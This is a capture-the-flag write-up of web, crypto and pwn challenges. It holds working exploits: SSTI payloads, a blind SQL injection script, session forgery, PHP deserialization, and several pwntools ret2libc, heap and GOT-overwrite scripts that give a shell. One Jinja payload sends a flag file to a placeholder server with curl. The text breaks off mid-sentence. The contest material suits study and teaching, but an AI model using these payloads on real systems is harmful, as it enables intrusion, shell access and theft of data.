This challenge is a blacklist-based Jinja2 SSTI, teaching me that attributes in templates can be accessed using dict syntax.

Payload:

<pre>
{{request["__cl"+"a"+"ss__"].mro()[-1]['__subcla'+'sses__']()[84].load_module('subprocess').check_output(['cat','flag.txt'])}}
</pre>

SaaS

The challenge has os.popen command injection with a blacklist, roughly as follows:

blacklist = ["flag", "cat", "|", "&", ";", "`", "$"]
# ...
os.popen(f"sed {request.args['query']} stuff.txt").read()

Bypass using \n, head, and f* to bypass the filter: ?query=%0ahead%20f*.

Awkward_Bypass

This challenge is a SQL injection with a large SQL keyword blacklist. The blacklist replaces keywords with empty strings instead of blocking them, allowing bypass with UNUNIONION becoming UNION. The rest is blind SQL injection.

import httpx

client = httpx.Client(http2=True)


def login(username, password):
    resp = client.post(
        "https://awkward-bypass.chal.imaginaryctf.org/user",
        params={"username": username, "password": password},
        allow_redirects=False,
    )
    return "Error" not in resp.text


def bypass(s):
    return "WITH".join(s)


def sqli(s):
    return login("a", bypass(s))


def binary_search(f, l=0, r=100):
    while True:
        print(l, r)
        if l == r:
            return l
        m = (l + r) // 2
        if f(m):
            r = m
        else:
            l = m + 1


def get_string_len(s, mx=100):
    return binary_search(
        lambda m: sqli(f"' union select 1,2 where length(({s}))<={m} and ''='"), r=mx
    )


def get_string(s):
    l = get_string_len(s)
    ret = ""
    for i in range(1, l + 1):
        c = binary_search(
            lambda m: sqli(
                f"' union select 1,2 where unicode(substr(({s}),{i},{i}))<={m} and ''='"
            ),
            l=32,
            r=128,
        )
        ret += chr(c)
        print(ret)
    return ret


# print(
#     get_string(
#         "SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"
#     )
# )
# -> users

# print(
#     get_string(
#         "SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'"
#     )
# )
# -> CREATE TABLE users (username, password)

print(get_string("SELECT group_concat(password) FROM users"))
# -> ictf{n1c3_fil73r_byp@ss_7130676d}

The source code contains several accounts and SHA512 hashed passwords. Some hashes can be cracked using CrackStation, excluding the admin password. Logging in as admin reveals the flag.

Sessions use AES-CTR to encrypt the username after padding, prepending the nonce to the ciphertext as the session. The nonce initializes AES-CTR, decrypting and unpadding the username.

AES-CTR encryption: Ciphertext=Ek(IV)Plaintext\mathrm{Ciphertext} = E_k(\mathrm{IV}) \oplus \mathrm{Plaintext}, decryption follows the same steps.

The solution uses known plaintext and ciphertext to find Ek(IV)E_k(\mathrm{IV}), then XORs it with the target (padded admin) to get the required ciphertext. Prepend the nonce to get the target session.

Script:

from Crypto.Util.Padding import pad

# ImaginaryCTFUser idk
# Eth007 supersecure
# just_a_normal_user password
# firepwny pwned


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


username = b"firepwny"
token = bytes.fromhex("2023f20686ddab50dd0491b4861ad8bfaf5713f665fab499")
nonce, data = token[:8], token[8:]
key = xor(data, pad(username, 16))
newdata = xor(key, pad(b"admin", 16))
newtoken = nonce + newdata
print(newtoken.hex())

NumHead

This challenge is simple except for the long code, making it hard to trace. The goal is to get 1000 dollars to buy the flag via API.

First, get the token:

curl https://numhead.chal.imaginaryctf.org/api/user/new-token -X POST -H "Authorization: 0nlyL33tHax0rsAll0w3d"

Notice the strange /api/user/nothing-here. Sending different numbers of headers to it gives 100 dollars each time. Manually repeat ten times, then buy the flag.

curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/user/nothing-here -X POST -H "a: 1" # Add some header and repeat
curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/admin/flag # Get flag

Destructoid

Viewing the source reveals: ecruos? ym dnif uoy naC, which reversed is Can you find my ?source. Adding ?source to the URL reveals the source code.

Initially, I misread it as Can you find my source?, so I didn't realize the source code was accessible...

<?php
$printflag = false;

class X {
    function __construct($cleanup) {
        if ($cleanup === "flag") {
            die("NO!\n");
        }
        $this->cleanup = $cleanup;
    }

    function __toString() {
        return $this->cleanup;
    }

    function __destruct() {
        global $printflag;
        if ($this->cleanup !== "flag" && $this->cleanup !== "noflag") {
            die("No!\n");
        }
        include $this->cleanup . ".php";
        if ($printflag) {
            echo $FLAG . "\n";
        }
    }
}

class Y {
    function __wakeup() {
        echo $this->secret . "\n";
    }

    function __toString() {
        global $printflag;
        $printflag = true;
        return (new X($this->secret))->cleanup;
    }
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}
echo "ecruos? ym dnif uoy naC\n";
if (isset($_SERVER['HTTP_X_PAYLOAD'])) {
    unserialize(base64_decode($_SERVER['HTTP_X_PAYLOAD']));
}

The goal is to bypass the check and get the flag using deserialization. My payload generation:

<?php
class X {}
class Y {}
$obj = new Y;
$obj->secret = new Y;
$obj->secret->secret = new X;
$obj->secret->secret->cleanup = "flag";
echo base64_encode(serialize($obj));

I discovered __destruct continues executing after die, as shown by the output:

ecruos? ym dnif uoy naC
flag
No!
ictf{d3s3r14l1z4t10n_4nd_d3struct10n}

Another simpler payload uses multiple objects:

<?php
$y = new Y("flag");
$x = New X("flag");
echo serialize([$y, new Y($y), $x]);

Sinking Calculator

This challenge is another Jinja2 SSTI without additional blacklist but with a length limit of 79 characters. The payload is wrapped with {{ and }}, saving characters. Non-0123456789- characters are removed from the output. request.args, request.headers, and request.cookies are cleared.

My method uses request.data as the HTTP body, which Flask accepts even for GET requests.

Complete payload:

curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')"

The author's solution:

1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16)

I learned about Flask's flask.g, a useful feature. Another way to access __globals__ is url_for.__globals__.

Password Checker

This challenge is an obfuscated JS password checker. After removing some obfuscation, the key part is:

for (var c = y, n = '3|2|0|1|4'.split('|'), C = 0; ; ) {
	switch (n[C++]) {
		case h[45]:
			var u = 0
			continue
		case h[46]:
			for (var v = 0; v < b.length; v++) {
				;(A += b.charCodeAt(v)), (B ^= b.charCodeAt(v)), (u = (u << 5) - u + b.charCodeAt(v))
			}
			continue
		case h[47]:
			var B = 0
			continue
		case h[48]:
			var A = 0
			continue
		case h[49]:
			console.log(A, B, u)
			!/[^ZYPH3NAFUR1GT_BMKLE.0]/.test(b) &&
				2024 == A &&
				126 == B &&
				-685590366 == u &&
				1 == b.charCodeAt(0) - b.charCodeAt(1) &&
				277 == Math.floor((b.charCodeAt(1) * b.charCodeAt(2) * b.charCodeAt(3)) / 1846) &&
				114 == b.charCodeAt(4) + b.charCodeAt(5) - b.charCodeAt(6) + b.charCodeAt(7) &&
				3249 == Math.floor(((b.charCodeAt(8) * b.charCodeAt(9)) / b.charCodeAt(10)) * b.charCodeAt(11)) &&
				1 == Math.floor((b.charCodeAt(13) / b.charCodeAt(12) / b.charCodeAt(14)) * b.charCodeAt(15)) &&
				b.charCodeAt(16) &&
				b.charCodeAt(18) == 'ZYPH3NAFUR1GT_BMKLE.0'.length << 2 &&
				b.charCodeAt(6) == b.charCodeAt(17) &&
				46 == Math.floor((b.charCodeAt(19) * b.charCodeAt(20)) / b.charCodeAt(21)) &&
				116 == b.charCodeAt(22) + b.charCodeAt(23) - b.charCodeAt(24) &&
				138 == b.charCodeAt(25) + b.charCodeAt(26) + b.charCodeAt(27) &&
				alert(c(205))
			continue
	}
	break
}

The first thought is to use z3 to solve it, but z3 struggles with the large search space, so I couldn't solve it during the competition. Later, I found this writeup explaining the need to brute-force part of the password, then use z3 to find the rest.

from z3 import *

flag = [BitVec(f"f_{i}", 32) for i in range(28)]
# sol = Solver()
set_param("parallel.enable", True)
set_param("parallel.threads.max", 12)
sol = SolverFor("QF_BV")  # It is said to be faster for fixed sized bitvectors

A = 0
B = 0
u = 0
for c in flag:
    sol.add(Or([c == x for x in b"ZYPH3NAFUR1GT_BMKLE.0"]))
    A += c
    B ^= c
    # u = (u << 5) - u + c
    u = 31 * u + c


def floor_div(top, bottom, res):
    # floor(top / bottom) == res
    sol.add(top >= bottom * res)
    sol.add(top < bottom * res + bottom)


sol.add(A == 2024)
sol.add(B == 126)
sol.add(u == BitVecVal(-685590366, 32))
sol.add(1 == flag[0] - flag[1])
# sol.add(277 == flag[1] * flag[2] * flag[3] / 1846)
floor_div(flag[1] * flag[2] * flag[3], 1846, 277)
sol.add(114 == flag[4] + flag[5] - flag[6] + flag[7])
# sol.add(3249 == ((flag[8] * flag[9]) / flag[10]) * flag[11])
floor_div(flag[8] * flag[9] * flag[11], flag[10], 3249)
# sol.add(1 == flag[13] / flag[12] / flag[14] * flag[15])
floor_div(flag[13] * flag[15], flag[12] * flag[14], 1)
sol.add(flag[18] == len("ZYPH3NAFUR1GT_BMKLE.0") << 2)
sol.add(flag[6] == flag[17])
# sol.add(46 == flag[19] * flag[20] / flag[21])
floor_div(flag[19] * flag[20], flag[21], 46)
sol.add(116 == flag[22] + flag[23] - flag[24])
sol.add(138 == flag[25] + flag[26] + flag[27])

# Some burteforcing to make the search space smaller: https://wrecktheline.com/writeups/imaginary-2021/

sol.add(flag[27] == ord("."))
sol.add(flag[26] == ord("."))
sol.add(flag[25] == ord("."))
sol.add(flag[24] == ord("3"))
sol.add(flag[23] == ord("R"))
sol.add(flag[22] == ord("U"))
sol.add(flag[21] == ord("T"))
sol.add(flag[20] == ord("R"))
sol.add(flag[19] == ord("0"))
sol.add(flag[18] == ord("T"))
sol.add(flag[17] == ord("_"))

sol.add(flag[0] == ord("Z"))
sol.add(flag[1] == ord("Y"))
sol.add(flag[2] == ord("P"))
sol.add(flag[3] == ord("H"))
sol.add(flag[4] == ord("3"))
sol.add(flag[5] == ord("N"))
sol.add(flag[6] == ord("_"))
sol.add(flag[7] == ord("P"))

print("solving...")

assert sol.check() == sat

while sol.check() == sat:
    m = sol.model()
    ans = bytes([m[x].as_long() for x in flag])
    print(ans)
    sol.add(Or([a != b for a, b in zip(ans, flag)]))

Pwn

stackoverflow

Nothing much to say, just a buffer overflow to change a local variable, giving you a shell.

Input base64:

YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWZ0Y2kAAAAACg==

Fake Canary

This challenge has a static canary, making it easy to bypass. The goal is to return to an existing backdoor function. The tricky part is that returning to the function works locally, but the remote version (Ubuntu 18) requires a 16-byte aligned stack address. I returned to the backdoor function, skipping the function prologue.

Input base64:

YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYe++rd4AAAAAKQdAAAAAAAAp
B0AAAAAAACkHQAAAAAAACg==

The First Fit

Source code:

#include <stdio.h>
#include <stdlib.h>

int main()
{
  int choice, choice2;
  char *a = malloc(128);
  char *b;
  setvbuf(stdout,NULL,2,0);
  setvbuf(stdin,NULL,2,0);
  while (1) {
    printf("a is at %p\n", a);
    printf("b is at %p\n", b);
    printf("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ");
    scanf("%d", &choice);
    switch(choice) {
      case 1:
              printf("What do I malloc?\n(1) a\n(2) b\n>> ");
              scanf("%d", &choice2);
              if (choice2 == 1)
                a = malloc(128);
              else if (choice2 == 2)
                b = malloc(128);
              break;
      case 2:
              printf("What do I free?\n(1) a\n(2) b\n>> ");
              scanf("%d", &choice2);
              if (choice2 == 1)
                free(a);
              else if (choice2 == 2)
                free(b);
              break;
      case 3: printf(">> "); scanf("%8s", a); break;
      case 4: system((char*)b); break;
      default: return -1;
    }
  }
  return 0;
}

You can malloc and free a and b arbitrarily, but can only write to a and system(b).

The key concept is UAF and malloc using the first available freed chunk (first fit).

  1. free a
  2. malloc b (now a==b)
  3. write "/bin/sh" to a
  4. system b

String Editor 1

This challenge leaks &system at the start, revealing libc. It has a fixed heap buffer, allowing arbitrary index char writes, leaking buffer+idx address. When idx == 15, it frees and mallocs the buffer, reinitializing the string.

Using libc and buffer address, calculate the offset to __free_hook, write system there, then write /bin/sh\0 to the buffer and free it to get a shell.

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process("./string_editor_1")
io = remote("chal.imaginaryctf.org", 42004)


def edit(idx, x):
    io.sendlineafter(b"What character would you like to edit?", str(idx))
    io.sendlineafter(b"What character should be in that index?", chr(x))


def recvdebug():
    io.recvuntil(b"DEBUG: ")
    return int(io.recvlineS().strip(), 16)


def writebytes(idx, b: bytes):
    for i in range(len(b)):
        edit(idx + i, b[i])


io.recvuntil(b"But first, a word from our sponsors: ")
system = int(io.recvlineS().strip(), 16)
libc_base = system - 0x55410
print("libc_base", hex(libc_base))
__free_hook = libc_base + 0x1EEB28
print(hex(__free_hook))

edit(0, 0x20)
ptr = recvdebug()
print(hex(ptr))

writebytes(__free_hook - ptr, p64(system))
writebytes(0, b"/bin/sh\0")

# free
io.sendlineafter(b"What character would you like to edit?", "15")

io.interactive()

linonophobia

This challenge overwrites GOT printf with puts, then does:

char buf[264];
read(0, buf, 0x200);
printf(buf); // this is actually puts
read(0, buf, 0x200);

The challenge has a buffer overflow, but with NX and Canary. Use the first printf(buf) to leak the canary. Then use ROP to call plt puts, outputting any GOT function (e.g., read) to get libc, then return to main.

The second ROP is a ret2libc, using a one gadget for simplicity.

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

pop_rdi = 0x400873
puts_plt = 0x4005C0
read_got = 0x601028
main = 0x4006B7

# io = process("./linonophobia")
io = remote("chal.imaginaryctf.org", 42006)
io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
    b"a" * 264 + p64(canary) + p64(0) + flat([pop_rdi, read_got, puts_plt, main])
)
io.recv(1)
libc_base = int.from_bytes(io.recvline()[:-1], byteorder="little") - 0x111130
print(hex(libc_base))

pop_r12_r13_r14_r15 = 0x40086C
gadget = libc_base + 0xE6C7E  # execve("/bin/sh", r15, r12)

io.sendline("a" * 260 + "----")
io.recvuntil(b"----")
canary = u64(io.recv(8)) & ~0xFF
print(hex(canary))
io.sendline(
    b"a" * 264 + p64(canary) + p64(0) + flat([pop_r12_r13_r14_r15, 0, 0, 0, 0, gadget])
)
io.interactive()

Speedrun

This challenge generates the following program:

#include <stdio.h>

int main(void) {
	char inp[RANDOM_VALUE_BETWEEN_20_AND_1000];
	setvbuf(stdout,NULL,2,0);
	setvbuf(stdin,NULL,2,0);
	gets(inp);
	puts("Thanks!");
}

Compiled without canary or PIE, it base64 encodes the binary and gives it to you, requiring exploitation within 10 seconds.

There's an overflow, but the offset is dynamic. I read the binary to find the instruction index, then read the offset.

For pwn, I used puts to output GOT entries for libc, then ret2libc.

Local exploit:

import sys
from pwn import *


def exploit(io, fname):
    context.arch = "amd64"

    with open(fname, "rb") as f:
        bin = f.read()
        i = bin.index(b"\x48\x81\xec") + 3  # sub rsp, sz
        sz = int.from_bytes(bin[i : i + 4], byteorder="little")
        print(hex(sz))

    elf = ELF(fname)
    rop = ROP(elf)

    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
    puts_plt = elf.plt["puts"]
    main = elf.sym["main"]

    io.sendline(b"a" * (sz + 8) + flat([pop_rdi, elf.got["puts"], puts_plt, main]))
    io.recvuntil(b"Thanks!\n")
    puts = int.from_bytes(io.recv(6), byteorder="little")
    libc_base = puts - 0x071910
    print(hex(libc_base))

    libc = ELF("./libc6_2.28-10_amd64.so")
    libc.address = libc_base
    binsh = next(libc.search(b"/bin/sh"))
    libc_rop = ROP(libc)
    libc_rop.call("execve", [binsh, 0, 0])
    print(libc_rop.dump())
    chain = libc_rop.chain()
    io.sendline(b"a" * (sz + 8) + chain)
    io.interactive()


if __name__ == "__main__":
    if len(sys.argv) < 2:
        exit(1)
    io = process(sys.argv[1])
    exploit(io, sys.argv[1])

Remote exploit:

from pwn import remote
from base64 import b64decode
from exploit import exploit

io = remote("chal.imaginaryctf.org", 42020)
io.recvuntil(b"---------------------------BEGIN  DATA---------------------------")
footer = b"----------------------------END  DATA----------------------------"
data = io.recvuntil(footer)[: -len(footer)]
with open("binary", "wb") as f:
    f.write(b64decode(data))
print("done writing binary")
exploit(io, "binary")

String Editor 2

This challenge has a bss string, allowing arbitrary char edits like String Editor 1, but limited to index <= 15 and no initial address leak. Protection includes NX.

When index == 15, a menu allows:

  1. puts(target)
  2. strcpy(target, "***************")
  3. exit(0)

The key is index being signed, allowing writing to GOT from bss. I first overwrote GOT strcpy with printf, then used strcpy(target, "***************") for format string exploit to leak libc.

With libc, I overwrote strcpy with system, then changed the string to /bin/sh\0 for a shell.

I used strcpy instead of puts because puts is used elsewhere, causing crashes, while strcpy is only used here.

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process("./string_editor_2")
io = remote("chal.imaginaryctf.org", 42005)


def edit(idx, x):
    io.sendlineafter(b"What character would you like to edit?", str(idx))
    io.sendlineafter(b"What character should be in that index?", chr(x))


def writebytes(idx, b: bytes):
    for i in range(len(b)):
        edit(idx + i, b[i])


target = 0x601080
strcpy_got = 0x601018
printf_plt = 0x400600

writebytes(strcpy_got - target, p64(printf_plt))
writebytes(0, b"%13$p")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")
io.recvuntil(b"0x")
libc_base = int(io.recv(12), 16) - 0x270B3
print(hex(libc_base))

system = libc_base + 0x55410
writebytes(strcpy_got - target, p64(system))
writebytes(0, b"/bin/sh\0")
io.sendlineafter(b"What character would you like to edit?", "15")
io.sendlineafter(b"3. Exit", "2")

io.interactive()

Memory pile

The challenge has a bss array for pointers, allowing arbitrary index malloc(0x20), index-freeing addresses, and writing to those addresses (no overflow).

The key vulnerability is not setting array[index] to 0 after free, allowing UAF. Write to tcache next pointer to control malloc return value, write system to __free_hook, then free an address with /bin/sh.

PS: libc is leaked at the start, with protections including Canary, NX, PIE, and Full RelRO.

from pwn import *
from rpyc import lib

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"

# io = process('./memory_pile')
# io = gdb.debug("./memory_pile", "c")
io = remote("chal.imaginaryctf.org", 42007)

io.recvuntil(b"I'll even give you a present, if you manage to unwrap it...\n")
printf = int(io.recvlineS().strip(), 16)
libc_base = printf - 0x64F00
print(hex(libc_base))
__free_hook = libc_base + 0x3ED8E8
system = libc_base + 0x4F4E0


def acquire(i):
    io.sendlineafter(b"Choose wisely > ", "1")
    io.sendlineafter(b"With great power comes great responsibility > ", str(i))


def release(i):
    io.sendlineafter(b"Choose wisely > ", "2")
    io.sendlineafter(b"With great power comes great responsibility > ", str(i))


def fill(i, b):
    io.sendlineafter(b"Choose wisely > ", "3")
    io.sendlineafter(b"With great power comes great responsibility > ", str(i))
    io.sendlineafter(b"Let me have it, boss > ", b)


acquire(0)
acquire(1)
release(1)
release(0)
# tcache: 0 -> 1
fill(0, p64(__free_hook))  # write next pointer
acquire(2)  # put 0 to 2
acquire(0)  # now 0 is addr
fill(0, p64(system))  # write system to __free_hook
fill(2, "/bin/sh")
release(2)  # free("/bin/sh")
io.interactive()

*notweb

This challenge has a simple C web server, forking for each request and entering a respond function. It strips GET / and HTTP from the request, copying the path to a stack buffer. The check_len function checks if the path length is <= 99.

The vulnerability is check_len using uint8, but memcpy length is int, allowing buffer overflow with payload length mod 256 <= 99.

The buffer overflow crashes the program by overwriting a stack heap address, which is freed before returning, so it must be zeroed.

The program has no protections, not even NX, but the stack address is unknown. A special gadget jmp rsp allows writing jmp rsp + shellcode